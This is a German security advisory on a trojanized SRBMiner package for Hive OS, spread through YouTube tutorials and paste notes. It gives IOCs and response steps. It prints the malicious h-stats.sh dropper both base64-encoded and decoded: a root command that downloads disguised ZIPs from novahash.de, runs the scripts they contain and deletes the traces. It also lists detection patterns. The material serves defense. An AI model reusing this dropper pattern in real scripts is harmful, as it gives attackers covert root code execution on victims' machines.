Trojanisiertes SRBMiner-3.2.5-Paket im Umlauf
Was Miner wissen müssen — in der Reihenfolge, in der es sie interessiert
Ein gefälschtes SRBMiner-Multi-Archiv wird von miningrepositories.blog ausgeliefert und über einen GitLab-Spiegel unter gitlab.com/hiveos-custom/m gespiegelt, beworben über YouTube-Tutorials des Kanals „Argenminer“, mit Setup-Anleitung auf anotepad.com. Der Payload lädt per Hive-OS-Stats-Skript alle zehn Sekunden eine Stage-2 mit Root-Rechten von novahash.de nach — was man, freundlich gesagt, als unverfroren bezeichnen darf.
Der Argenminer-YouTube-Kanal ist weg.
Nach den koordinierten Takedown-Anträgen und Meldungen, die wir bei YouTube eingereicht haben, hat die Plattform den gesamten Argenminer-Kanal entfernt — jedes Tutorial-Video, das das trojanisierte Paket beworben hat, einschließlich der in diesem Advisory verlinkten Videos (Video-IDs Id3nMIt18EE für das Vertcoin-Tutorial und xiA81jvYFJs für das LuckyPepe-Tutorial), ist jetzt offline.
Der primäre Zugangskanal der Kampagne für neue Opfer ist abgeschnitten. Die Malware selbst, der GitLab-Spiegel, die anotepad-Notiz und novahash.de existieren möglicherweise noch irgendwo im Netz — und jede bereits kompromittierte Rig bleibt kompromittiert, also gelten die ursprünglichen Hinweise unten weiterhin. Aber der YouTube-Kanal, der das öffentliche Gesicht dieser Kampagne war, existiert nicht mehr, und der wirksamste Rekrutierungskanal des Akteurs ist tot.
Nicht von Hand säubern. Rig neu aufsetzen.
Das h-stats.sh-Skript in diesem Archiv läuft als Root bei jedem Hive-OS-Stats-Poll — rund alle zehn Sekunden, solange das Rig läuft. Es lädt eine Stage-2 herunter, führt sie aus, und räumt anschließend die sichtbaren Spuren weg. Werden die Dateien von Hand gelöscht, sind sie beim nächsten Poll wieder da. Freundlich gemeint ist das nicht.
Auf dieser Rechte-Ebene ist dem Gerät nicht mehr zu trauen. Das Rig muss von einem sauberen Betriebssystem-Image komplett neu installiert werden, und sämtliche Zugangsdaten, die je mit dem Gerät in Berührung kamen, müssen rotiert werden — Pool-Konten und API-Schlüssel, SSH-Schlüssel, auf der Platte gespeicherte Wallet-Seeds, gespeicherte Browser-Sitzungen, alles. Zusätzlich jedes weitere Gerät prüfen, das Zugangsdaten mit dem betroffenen Rig teilt — Lateral Movement ist bei dieser Art Angreifer durchaus üblich.
Uns ist klar, dass „Rig neu aufsetzen“ an einem Donnerstag nicht das ist, was man hören möchte. Es ist trotzdem die einzige richtige Antwort.
Selbsterkennung: Wer ab dem 16. April 2026 ein Rig nach einem YouTube-Tutorial des Kanals „Argenminer“ (youtube.com/@Argenminer) für C64Chain, Qubit (QTC), Vertcoin (VTC) oder LuckyPepe (LPEPE) eingerichtet hat; wessen Flightsheet-install_url auf miningrepositories.blog oder gitlab.com/hiveos-custom/m zeigt; wer einer Anleitung aus einer anotepad.com-Notiz gefolgt ist (z. B. anotepad.com/notes/a7ycensj); oder wem einer dieser Links in einem der genannten Coin-Discords zugespielt wurde — der ist auf genau diesem Weg an das Archiv gekommen. Das Rig als kompromittiert behandeln und oben genannte Schritte durchziehen.
Jemand verteilt ein präpariertes SRBMiner-Multi-3.2.5-Paket über miningrepositories.blog und einen GitLab-Spiegel unter gitlab.com/hiveos-custom/m. Die Kampagne wird über YouTube-Tutorials des Kanals „Argenminer“ beworben, der die Setup-Anleitung (Wallet, Pool, install_url) auf anotepad.com-Notizen ablegt — z. B. anotepad.com/notes/a7ycensj — und bislang C64Chain, Qubit (QTC), Vertcoin (VTC) sowie LuckyPepe (LPEPE) ins Visier genommen hat. Die Miner-Binary wirkt legitim und dient als Tarnung; der bösartige Teil steckt in h-stats.sh als base64-codierter Block, der bei jedem Hive-OS-Stats-Poll zwei angebliche Bilder (tatsächlich ZIP-Archive) von novahash.de lädt, sie nach /etc/ extrahiert, die enthaltenen Shell-Skripte als Root ausführt und danach aufräumt. Wer das Archiv auf irgendeinem Rig installiert hat: Rig neu aufsetzen. novahash.de, miningrepositories.blog und gitlab.com/hiveos-custom/m an der Firewall blockieren. SRBMiner ausschließlich von github.com/doktor83/SRBMiner-Multi/releases beziehen und den SHA256 gegen den veröffentlichten Wert prüfen.
IOCs — für die Kurzentschlossenen
Alles Wichtige für Defender in einem Block. Ausführliche Details weiter unten, aber wer nur seine Flotte prüfen will, fängt hier an.
miningrepositories.bloggitlab.com/hiveos-custom/m (Raw-Content-Pfade unter diesem Repo)
novahash.de
https://novahash.de/fileslab/recuaikaan.pnghttps://novahash.de/fileslab/mqtato-fla.jpg
https://miningrepositories.blog/srbminer-3.2.5.tar.gzhttps://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz
https://anotepad.com/notes/a7ycensj (zuletzt aktualisiert am 19.04.2026; Inhalt kann rotiert werden)
https://www.youtube.com/@ArgenminerBekanntes Video:
https://www.youtube.com/watch?v=Id3nMIt18EE („VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet.“)
/etc/recuaikaan.png/etc/recuaikaan.zip/etc/recuaikaan.sh/etc/mqtato-fla.jpg/etc/mqtato-fla.zip/etc/mqtato-fla.sh
9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
fc2487ec223c91039748e53c08328af91260cd8c
Verteilungsweg
Das Paket wird von zwei verschiedenen, vom Angreifer kontrollierten Vertriebspunkten angeboten — mit mindestens einer weiteren Staging-Schicht auf einem öffentlichen Pastebin-ähnlichen Dienst. Alle drei hosten dasselbe trojanisierte srbminer-3.2.5.tar.gz, und alle drei sind so gewählt, dass sie für einen Operator auf der Suche nach Miner-Binaries wie generische, community-betriebene Ressourcen wirken:
- Ursprünglicher Verteiler-Blog:
https://miningrepositories.blog/srbminer-3.2.5.tar.gz— ein Domainname, der nach einem generischen Mining-Tools-Repository klingen soll. Kein bekannter oder legitimer Vertriebskanal für SRBMiner. - GitLab-Spiegel (beobachtet am 19.04.2026):
https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz— missbraucht den vertrauten SaaS-Hostnamen von GitLab, um dem Download einen legitimen Anstrich zu verleihen. Das Repo ist ein Wegwerf-Account mit einem Namen, der nach einem offiziellen Hive-OS-Custom-Miner-Repository aussehen soll (ist es nicht). Die Raw-Content-URL ist genau das, was im Flightsheet-JSON auftaucht, das die Opfer in Hive OS einfügen. - Setup-Anleitungs-Staging:
https://anotepad.com/notes/a7ycensj— eine öffentliche anonyme Notizseite mit einem vorgefertigten Hive-OS-Flightsheet-JSON (miner: custom,miner_alt: srbminer), der CoinEx-Wallet-ID des Angreifers und einerinstall_url, die auf den obigen GitLab-Spiegel zeigt. Die Notiz wurde zuletzt am 19.04.2026 03:48 UTC aktualisiert — das ist also eine laufende und aktiv gepflegte Kampagne, kein Schnappschuss.
- Die Wahl von Domain / Host (
miningrepositories.blog,gitlab.com/hiveos-custom/m) klingt plausibel, entspricht aber keinem bekannten Upstream-Projekt oder Community-Repository. Insbesondere ist „Hiveos-custom“ ein Nutzerkonto, kein offizieller Hive-OS-Namensraum — und ein legitimes Custom-Miner-Repo würde sich nie in den einzelnen Buchstabenmumbenennen. - Die Versionsnummer
3.2.5ist auffällig veraltet — das echte SRBMiner-Multi ist längst weiter. „Alt, aber glaubwürdig“ ist ein Klassiker bei trojanisierten Paketen, weil es weniger Fragen zur Quelle aufwirft. - Setup-Anleitung auf einer anonymen öffentlichen Pastebin-Seite statt in einer README, einem Projekt-Wiki oder der Getting-Started-Seite eines Pools. Das ist ein Anti-Vertrauenssignal: Der Angreifer kann Wallet-IDs, Pool-URLs und
install_urls jederzeit rotieren, ohne dass es jemandem auffällt, weil niemand ein Pastebin prüft. - Das Flightsheet verwendet eine echte, legitime Drittanbieter-Pool-URL (zum Redaktionszeitpunkt
vertcoin.cedric-crispin.com:3334), um die Operation zusätzlich zu tarnen — das Rig des Opfers mint tatsächlich gültige Shares auf eine vom Angreifer kontrollierte Exchange-Einzahlungsadresse (CoinEx wal_id: 11032492). Wer als Pool-Betreiber mit eigenem Hostname in diesem Flightsheet auftaucht, wird als Kulisse benutzt und sollte erwägen, die Notiz öffentlich zu brandmarken. - Der offizielle Release-Kanal mit veröffentlichten SHA256-Prüfsummen ist github.com/doktor83/SRBMiner-Multi/releases. Alles andere, das „SRBMiner“ heißen will, verdient das gleiche Misstrauen wie ein Fremder, der einem am Bahnhof ein belegtes Brötchen anbietet.
Auslieferung: YouTube-Tutorials und Discord-Seeding (beobachtet)
Das trojanisierte Archiv liegt nicht einfach auf einer zufälligen Domain herum und wartet, dass jemand darüber stolpert. Es wird gezielt über Kanäle beworben, denen Miner vertrauen, und die Werbe-Schicht ist größer und planvoller, als die ursprüngliche Warnung vom 17. April 2026 es beschrieb. Stand 19. April 2026 ergibt sich folgendes Bild:
- YouTube-Kanal: „Argenminer“ (youtube.com/@Argenminer). Zum Redaktionszeitpunkt sind mehrere Setup-Tutorials live, jedes erklärt Zuschauern die Einrichtung eines Hive-OS-Flightsheets für einen anderen Small-Cap-Coin. Jedes Video verweist — entweder in der Beschreibung oder in einem gepinnten/Autoren-Kommentar — auf eine
anotepad.com-Notiz mit dem vollständigen, copy-paste-fertigen Flightsheet-JSON. Das Feldinstall_urlim Flightsheet-JSON ist es, das das trojanisierte Archiv auf das Rig des Zuschauers zieht. Bislang bestätigte Ziel-Coins: C64Chain, Qubit (QTC), Vertcoin (VTC) und LuckyPepe (LPEPE). - Bekannte Tutorial-Videos:
- VTC: youtube.com/watch?v=Id3nMIt18EE — „VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet.“
- LPEPE: youtube.com/watch?v=xiA81jvYFJs — „LUCKYPEPE! New GPU/CPU Mining Coin! HIVEOS Easy Flight Sheet Tutorial Pool & Wallet!“
- Anotepad-Staging-Notiz:
https://anotepad.com/notes/a7ycensj(VTC) ist diejenige, die wir erfasst haben; weitere coin-spezifische Notizen existieren mit hoher Wahrscheinlichkeit für C64Chain, QTC und LPEPE. Die VTC-Notiz enthält ein fertiges Flightsheet mit dem legitimen Poolvertcoin.cedric-crispin.com:3334imurl-Feld, einer Wallet-ID (wal_id: 11032492) imwal_id-Feld sowieinstall_url: https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz. Der Inhalt der Notiz kann jederzeit geändert werden; die URL selbst ist der stabile IOC. - Discord-Seeding. Dasselbe Archiv bzw. der Link zur anotepad-Notiz wurden in den Mining-Kanälen des C64Chain-Discords, des Qubit (QTC)-Discords und — seit Veröffentlichung der Argenminer-Videos zu VTC und LPEPE — mutmaßlich auch in den Vertcoin- und LuckyPepe-Communities gepostet. Jeweils präsentiert als hilfreicher Tipp für Einsteiger.
Jedes Argenminer-Flightsheet zeigt auf einen echten, funktionierenden Drittanbieter-Pool, damit das Rig des Opfers tatsächlich zu minen scheint (erfasste Beispiele sind vertcoin.cedric-crispin.com:3334 für VTC und Suprnovas eigener Pool lpepe.suprnova.cc im LPEPE-Tutorial). Pool, Worker-Name und Wallet-ID im Flightsheet sind allesamt Kulisse — die Monetarisierung des Angreifers ist Root-Zugriff auf das Rig des Opfers, nicht das kleine Rinnsal an Mining-Gebühren. Wer einen Pool betreibt, dessen Hostname in einem aus einem Argenminer-Video oder einer anotepad-Notiz verlinkten Flightsheet auftaucht, ist nicht „infiziert“, wird aber als Legitimitätsschicht für fremde Malware-Kampagnen benutzt. Überlegen Sie, das Flightsheet öffentlich zu dementieren und Ihre Nutzer auf dieses Advisory hinzuweisen. (Suprnova hat genau das für das LPEPE-Tutorial getan, das auf unseren Pool zeigt; siehe das oben verlinkte LPEPE-Video.)
Was das über das Vorgehen des Angreifers verrät
Das ist Social Engineering, kein Drive-by-Download. Jeder Schritt des Ablaufs ist bewusst so gewählt, dass die Deckung des Opfers runtergeht:
- Kleine Coins mit aktiven Discord-Communities und einem stetigen Zustrom an Einsteigern aussuchen. C64Chain, QTC, ein länger laufender Nischencoin wie Vertcoin oder ein brandneuer Micro-Cap-Coin wie LuckyPepe (LPEPE) sind genau der Typ Ziel, bei dem ein neuer Miner in den Discord kommt, fragt, wie er loslegen kann, und dankbar den ersten Link annimmt, den ihm jemand Hilfsbereites in die Hand drückt. Große Coins werden kritischer geprüft, kleine werden gutgläubiger angenommen; brandneue praktisch überhaupt nicht geprüft.
- Ein funktionierendes Tutorial produzieren. Die YouTube-Videos zeigen Rigs, die tatsächlich minen, weil die Miner-Binary im Archiv ein echter, lauffähiger Miner ist (Tarnung) und das
url-Feld des Flightsheets auf einen echten, lauffähigen Drittanbieter-Pool zeigt. Sichtbarer Beweis überzeugt: ein Video mit einlaufenden Accepted Shares ist mehr wert als tausend „vertrau mir“. - Vertrauenswürdiges Hosting missbrauchen. Die
install_urlauf eine GitLab-Raw-Content-URL zeigen lassen (gitlab.com/hiveos-custom/m) und das Flightsheet-JSON auf einem GitLab-nahen, pastebin-artigen Dienst ablegen (anotepad.com). Der Download-Host ist Google-Klasse-Infrastruktur; der Flightsheet-Host ist ein URL-Verkürzer mit anderem Namen. Keines von beidem wird einem neugierigen Einsteiger verdächtig vorkommen. - Erst Reputation aufbauen, dann bewaffnen. Sobald das Video existiert, weitere Videos auf demselben Kanal dazukommen und ein paar Kommentare sagen „hat bei mir funktioniert, danke!“, trägt sich der Link selbst weiter — jeder neue Zuschauer sieht Social Proof, bevor er einen Grund zum Misstrauen sieht.
- In Einsteiger-Kanäle streuen. Den anotepad- oder Archiv-Link in Discord-Kanäle posten, wo Neulinge um Setup-Hilfe bitten. Der Payload läuft beim ersten Stats-Poll; der Angreifer braucht vom Opfer nichts außer „mach das Tutorial nach“.
- Darauf setzen, dass Community-Moderatoren keine Archive oder Flightsheets auditieren. Kaum ein Coin-Discord hat die Ressourcen, jedes „hilfreiche“ Tarball, das in seinem Mining-Kanal landet, zu reverse-engineeren, oder die
wal_idin einem geteilten Flightsheet mit dem Absender abzugleichen. Ein freundlicher Nutzer mit YouTube-Kanal wirkt wie ein Community-Mitglied, nicht wie eine Bedrohung. - Artefakte rotieren, Kanal behalten. Die anotepad-Notiz kann jederzeit bearbeitet werden — Wallet-ID, Pool-URL,
install_urlsind in Sekunden geändert. Der YouTube-Kanal ist die dauerhafte Ressource; der anotepad-Link in der Videobeschreibung ist die Weiche. Takedowns einzelner Archiv-Hosts kippen die Kampagne nicht, solange der Kanal online bleibt.
Ein funktionierendes YouTube-Tutorial und ein freundlicher Discord-Post sind keine Vertrauenssignale. Das Video des Angreifers zeigt fast sicher ein korrekt minendes Rig — weil es das tut. Der Schaden sitzt in h-stats.sh, läuft als Root, auf dem Rig, das der Zuschauer gerade liebevoll konfiguriert hat. Für Einsteiger: Miner-Downloads nur aus dem offiziellen Projekt-Repository, SHA256 jedes Mal prüfen. Für Coin-Discords: im Mining-Kanal einen festen Hinweis pinnen — „keinen Archiven vertrauen, die hier gepostet werden, solange sie nicht aus dem offiziellen Projekt stammen“.
Wer Teil der C64Chain-, Qubit (QTC)-, Vertcoin (VTC)- oder LuckyPepe (LPEPE)-Community ist und sein Rig nach einem der Argenminer-Tutorials eingerichtet oder den Link an Freunde weitergegeben hat — bitte dieses Advisory in der Community teilen und jedes Rig, das nach einer dieser Anleitungen aufgesetzt wurde, als kompromittiert behandeln.
Was im Archiv steckt
Das Archiv ist eine vollständige Hive-OS-Custom-Miner-Integration — und eine Minerstat-Integration (mmp-*) ist gleich mit dabei. Echte Distributionen liefern das eine oder das andere aus, nicht beides, wodurch die Kombination allein schon verräterisch ist.
| Datei | Größe | Status |
|---|---|---|
h-manifest.conf | 616 B | Sauber (nur kosmetische Anpassungen) |
h-run.sh | 764 B | Sauber (nur kosmetische Anpassungen) |
h-config.sh | 205 B | Sauber |
h-stats.sh | 8.646 B | BÖSARTIG — enthält Dropper |
mmp-stats.sh | 4.116 B | Sauber |
mmp-external.conf | 63 B | Sauber (Versionsabweichung) |
srbminer_bin | 20.309.184 B (~20 MB) | Vermutlich echt/fast echt (Tarnung) |
Verräterische Spuren der Neuverpackung
Keines der folgenden Merkmale ist für sich genommen bösartig — sie sind die diagnostischen Hinweise, dass das Paket nicht von dort kommt, woher es behauptet zu kommen:
- Spanische Kommentare in
h-run.shundh-manifest.conf— z. B. „Verificar si ya está corriendo“, „Cargar manifest“, „Ejecutar el binario con parámetros“, „Nombre del miner“, „Ruta al archivo de configuración“. Legitime Upstream-SRBMiner-Integrationen sind auf Englisch. - Interne Versionsabweichung.
h-manifest.confdeklariertCUSTOM_VERSION=3.2.5;mmp-external.confdeklariertEXTERNAL_VERSION="2.6.8-custom". Echte Pakete sind intern konsistent. Dieses nicht. - Hive- und Minerstat-Integrationen gemeinsam ausgeliefert. Upstream liefert jeweils nur eins, nie beides.
- Nicht gestrippte Binary. Upstream-Release-Binaries werden gestrippt, um Größe zu sparen und Analyse zu erschweren. Diese hier nicht — deutlicher Hinweis darauf, dass der Angreifer aus dem Quellcode selbst gebaut hat.
Der Payload: h-stats.sh
h-stats.sh ist zum größten Teil — ärgerlicherweise — ein vollkommen funktionaler Hive-OS-Stats-Parser. Er fragt die HTTP-API des Miners auf 127.0.0.1:$MINER_API_PORT ab, liest Hashrate, Shares, Temperaturen und Lüfterwerte für GPU- und CPU-Worker, kommt mit Single- und Dual-Algo-Mining zurecht und liefert gültiges Stats-JSON an den Hive-Agenten zurück. Das ist keine Nebensächlichkeit, sondern essentielle Tarnung: Würde das Skript Fehler werfen, erschiene das Rig bei Hive als offline und der Operator würde binnen Minuten nachsehen.
Nach der legitimen Stats-Logik und vor den abschließenden Fallback-Zuweisungen wurde dieser Block eingefügt:
p="bm9odXAgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhhc2guZGUvZmlsZXNsYWIvcmVjdWFpa2Fhbi5wbmcg
LU8gL2V0Yy9yZWN1YWlrYWFuLnppcCAmJiBzdWRvIHVuemlwIC1xIC1vIC9ldGMvcmVjdWFpa2Fhbi56aXAgLWQg
L2V0YyAmJiBzdWRvIGJhc2ggL2V0Yy9yZWN1YWlrYWFuLnNoIDsgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhh
c2guZGUvZmlsZXNsYWIvbXF0YXRvLWZsYS5qcGcgLU8gL2V0Yy9tcXRhdG8tZmxhLnppcCAmJiB1bnppcCAtcSAt
byAvZXRjL21xdGF0by1mbGEuemlwIC1kIC9ldGMgJiYgYmFzaCAvZXRjL21xdGF0by1mbGEuc2ggOyBybSAvZXRj
L21xdGF0by1mbGEuemlwIDsgcm0gL2V0Yy9tcXRhdG8tZmxhLnNoIDsgcm0gL2V0Yy9yZWN1YWlrYWFuLnNoIDsg
cm0gL2V0Yy9yZWN1YWlrYWFuLnppcCA+IC9kZXYvbnVsbCAyPiYxICY="
nohup sh -c "$(echo "$p" | base64 -d)" > /dev/null 2>&1 &
Dekodiert lautet der base64-Block:
nohup sudo wget -q https://novahash.de/fileslab/recuaikaan.png -O /etc/recuaikaan.zip \
&& sudo unzip -q -o /etc/recuaikaan.zip -d /etc \
&& sudo bash /etc/recuaikaan.sh ; \
sudo wget -q https://novahash.de/fileslab/mqtato-fla.jpg -O /etc/mqtato-fla.zip \
&& unzip -q -o /etc/mqtato-fla.zip -d /etc \
&& bash /etc/mqtato-fla.sh ; \
rm /etc/mqtato-fla.zip ; rm /etc/mqtato-fla.sh ; \
rm /etc/recuaikaan.sh ; rm /etc/recuaikaan.zip > /dev/null 2>&1 &
Ablauf, Schritt für Schritt
- Zwei vermeintliche Bilddateien (
.pngund.jpg) werden perwgetvonnovahash.degeladen. Die Bildendungen sind Tarnung — der eigentliche Inhalt sind ZIP-Archive. Eine bekannte Methode, um naive Egress-Filter auszutricksen, die Skript- und Archiv-Traffic prüfen, Bilder aber durchwinken. - Jedes Archiv wird nach
/etc/geschrieben, in.zipumbenannt und mitunzip -o(Überschreiben) entpackt. - In jedem Archiv steckt ein Shell-Skript (
recuaikaan.sh,mqtato-fla.sh), das anschließend ausgeführt wird — das erste explizit mitsudo, das zweite im bereits bestehenden Root-Kontext des Hive-Agenten. - Alle vier Artefakte (beide
.zip-Dateien und beide.sh-Skripte) werden anschließend aus/etc/gelöscht. Das säubert den Dropper-Fußabdruck: Eine Nachschau in/etc/findet nichts mehr, während das, was die Stage-2-Skripte anderswo installiert haben, resident bleibt. - Die gesamte Kette läuft im Hintergrund per
nohup … &, damit die legitime Stats-Ausgabe weder blockiert noch verzögert wird. Hive sieht weiterhin ein „gesundes“ Rig.
Warum h-stats.sh die perfekte Stelle ist
- Hive OS ruft
h-stats.shin kurzen, festen Intervallen auf — in der Regel etwa alle zehn Sekunden — um Statistiken abzufragen. - Der Hive-Agent läuft als Root. Das
user-Konto hat passwortloses sudo. Jedessudoim Payload läuft daher lautlos durch — ohne Passwortabfrage und ohne Auth-Logeintrag. - Das Skript läuft während der gesamten Lebensdauer des Rigs. Eingeschaltet, Netzwerk oben, Miner läuft — unbegrenzt.
Was das dem Angreifer einbringt:
- Automatische Ausführung bei der Installation. Keine Nutzeraktion nötig.
- Root-Rechte ohne Social-Engineering-Dialog.
- Retry bei Fehlern. Ist
novahash.dekurzzeitig unerreichbar, versucht der Dropper es zehn Sekunden später erneut. - Selbstheilende Infektion. Entfernt jemand Stage-2-Komponenten per Hand, werden sie beim nächsten Poll wieder abgelegt — solange
h-stats.shauf der Platte liegt. Deshalb funktioniert Handaufräumen nicht. - Stille.
>/dev/null 2>&1 &löst sich vom Terminal und schluckt jede Ausgabe. In Hive ist davon nichts zu sehen.
Stellen Sie sich vor, jemand wirft einen Zettel in Ihren Briefkasten, auf dem steht: „Bitte die Hintertür offen lassen.“ Und wirft denselben Zettel alle zehn Sekunden erneut ein. Für immer. Und räumt den vorherigen vorher jedes Mal weg. Sie können das nicht wegsortieren. Sie müssen das Schloss wechseln.
Der Tarn-Miner: srbminer_bin
Die im Paket enthaltene Binary sieht nach einem legitimen oder nahezu legitimen SRBMiner-Multi-Build aus. Aus Angreifersicht besteht ihre Aufgabe darin, unauffällig zu sein:
- Datei: ELF 64-bit LSB shared object, x86-64, dynamisch gelinkt.
- Größe: 20.309.184 Byte (~20 MB).
- SHA256:
9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06 - BuildID:
fc2487ec223c91039748e53c08328af91260cd8c - Gestrippt: Nein (für ein Upstream-Release untypisch — die sind gestrippt).
- Eingebettete Build-Pfade: verweisen auf
/home/doktor/VSCode/SRBMiner-Multi/Libs/{clew,libmicrohttpd,libressl,hwloc}/linux— die tatsächlichen Pfade des SRBMiner-Autors (doktor83). Passt zu einem Build aus echtem oder leicht verändertem Quellcode. - Eingebettete URLs: keine. Keine Referenzen auf
novahash.deoder die Dropper-Dateinamen.
Der Plan des Angreifers setzt darauf, dass der Miner plausible Hashrate und Shares produziert, damit Hive- und Minerstat-Dashboards normal aussehen und dem Operator kein Anlass zum Nachsehen bleibt. Alle beobachtete bösartige Funktionalität liegt in h-stats.sh; die Binary ist nicht der Angriffsvektor.
Den SHA256 der Binary mit den bekannten Hashes auf github.com/doktor83/SRBMiner-Multi/releases vergleichen oder die Datei an VirusTotal senden. Ein Mismatch mit jedem veröffentlichten SRBMiner-Hash reicht, um die Binary unabhängig von diesem Advisory als verdächtig zu behandeln.
Vollständige Indikatoren der Kompromittierung
Netzwerk
- Stage-2-C2-Domain:
novahash.de— an Firewall und DNS blockieren https://novahash.de/fileslab/recuaikaan.pnghttps://novahash.de/fileslab/mqtato-fla.jpg- Verteiler-Domain (ursprünglich):
miningrepositories.blog - Verteiler-Spiegel (GitLab):
gitlab.com/hiveos-custom/m— konkrethttps://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz - Vom Angreifer kontrollierte Setup-Anleitungsseite:
https://anotepad.com/notes/a7ycensj(Inhalt rotiert; die URL ist der stabile IOC)
Werbe- / Social-Engineering-Kanal
- YouTube-Kanal:
https://www.youtube.com/@Argenminer— mehrere aktive Tutorial-Videos für verschiedene Small-Cap-Coins, jedes verweist auf eine coin-spezifische anotepad-Staging-Notiz und über sie auf das trojanisierte Archiv - Bekanntes Video (VTC):
https://www.youtube.com/watch?v=Id3nMIt18EE— „VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet.“ - Bekanntes Video (LPEPE):
https://www.youtube.com/watch?v=xiA81jvYFJs— „LUCKYPEPE! New GPU/CPU Mining Coin! HIVEOS Easy Flight Sheet Tutorial Pool & Wallet!“ - Bisher betroffene Coin-Communities: C64Chain, Qubit (QTC), Vertcoin (VTC), LuckyPepe (LPEPE)
- Wallet-ID im erfassten VTC-Flightsheet: CoinEx,
wal_id: 11032492— als Kulisse/Prop zu behandeln, nicht als finanzieller IOC des Angreifers: die Malware ist ein Root-Ebenen-Dropper, kein Cryptojacker, und die Wallet-/Pool-Einträge der Mining-Konfiguration sind reine Theater-Requisiten
Dateisystem (Dropper-Artefakte)
Werden nach Ausführung vom Dropper gelöscht — Abwesenheit ist kein Freibrief:
/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh
Datei-Hashes
srbminer_binSHA256:9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06srbminer_binBuildID:fc2487ec223c91039748e53c08328af91260cd8c
Prozess- und Verhaltenssignaturen
wget-Aufrufe annovahash.deaus dem Hive-user-Konto oder von Rootnohup sh -c-Aufrufe, gestartet aush-stats.shsudo bash /etc/*.sh-Einträge in Sudo-Logs (sofern Auditing aktiviert ist)- Ungewöhnliche
.zip-,.png- oder.jpg-Dateien, die zu irgendeinem Zeitpunkt in/etc/auftauchen
Paket-Warnzeichen (nützlich zum Auffinden ähnlicher trojanisierter Pakete)
- Spanische Kommentare in Hive- oder Minerstat-Integrationsskripten, die upstream auf Englisch ausgeliefert werden
- Interne Versionsabweichungen zwischen Manifest-Dateien
- Nicht gestrippte Release-Binaries
- Hive- und Minerstat-Integrationen in einem Paket
- Lange base64-Strings in beliebigen
h-*.sh- odermmp-*.sh-Skripten base64 -d | sh,base64 -d | bash,xxd -r -p | shoder ähnliche Decode-und-Execute-Pipelines in Stats- oder Run-Skripten
Incident-Response-Checkliste
Wer das Paket auf irgendeinem Rig oder Server installiert hat, arbeitet die folgenden Punkte der Reihe nach ab. Leicht verdriesslich dabei. Das ist die korrekte Haltung.
Isolieren
Das betroffene Rig sofort vom Netzwerk trennen. Nicht zuerst herunterfahren — der Speicherinhalt kann nützlich sein, und manche Persistenzmechanismen werden erst beim Booten aktiv.
C2 überall blockieren
novahash.de an DNS-Sinkhole und Firewall-Deny-Listen eintragen — im gesamten Netzwerk, nicht nur auf dem betroffenen Rig. Lateral Movement steht im Raum; andere Systeme können mit angetastet worden sein.
Snapshot für die Forensik (falls gewünscht)
Wer die Geduld mitbringt: Vor der Bereinigung ein Disk-Image erzeugen und, wenn Werkzeuge vorhanden sind, den Speicher dumpen. Wer nicht — verständlich, dann direkt zur Bereinigung.
Dropper-Artefakte prüfen
ls -la /etc/recuaikaan* /etc/mqtato* 2>/dev/null
Userland-Rootkit-Hinweise prüfen
cat /etc/ld.so.preload # sollte leer sein oder nicht existieren
Nach kürzlich geänderten Dateien suchen
find /etc /usr/local/bin /usr/local/sbin /root /tmp /var/tmp /dev/shm \
-mtime -30 -type f -ls 2>/dev/null
Persistenzmechanismen prüfen
crontab -l
for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
systemctl list-timers --all
SSH-Backdoors aufspüren
find / -name "authorized_keys" 2>/dev/null -exec ls -la {} \; -exec cat {} \;
grep -E '^(PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile)' /etc/ssh/sshd_config
Ausgehende Verbindungen prüfen
ss -tnp | grep -E '(srbminer|sh|wget|curl)'
Zweite Stufe: Persistenz und Exfiltration prüfen
Das hier ist kein Cryptojacker — der Angreifer will Root-Persistenz und das, was sie ihm danach ermöglicht: die Platte nach Wallet-Seed-Dateien und Keystores durchsuchen, Pool-Credentials und SSH-Keys aus Config-Dateien herausziehen, auf andere Maschinen im LAN pivotieren, das Rig in ein Botnetz oder einen Residential-Proxy-Pool einreihen. Auf Spuren dieser Post-Compromise-Aktivität achten: versteckte Binaries an unauffälligen Pfaden, manipulierte Shell-RC-Dateien (~/.bashrc, ~/.profile, /etc/profile.d/), neue Kernelmodule, unerwartete ausgehende Verbindungen zu anderen Hosts als dem eigenen Pool und jeder Prozess, den das eigene Miner-Setup nicht gestartet hat und der als Root läuft.
Rootkit-Scanner laufen lassen
chkrootkit
rkhunter --check --skip-keypress
Sudo-Logs prüfen
grep -E 'wget|bash /etc' /var/log/auth.log /var/log/secure 2>/dev/null
Falls ein Indikator anschlägt — neu aufsetzen. Punkt.
Userland-Code, der in kurzen Intervallen als Root läuft, ist per Hand nicht zuverlässig zu entfernen. Betriebssystem auf dem Rig neu installieren, alle Zugangsdaten rotieren, die das Gerät berührt haben (Pool-Konten, SSH-Schlüssel, irgendwo auf der Platte gespeicherte Wallet-Seeds) und sämtliche Geräte prüfen, die Zugangsdaten mit dem betroffenen Rig teilen. Gute Gelegenheit, ein paar Dinge aufzuräumen, die man ohnehin länger vor sich hergeschoben hat.
Härtung: so landen Sie gar nicht erst hier
Ein paar Gewohnheiten, die genau das hier von Anfang an verhindert hätten. Keine davon neu, alle ein bisschen langweilig — langweilig ist das angestrebte Gefühl.
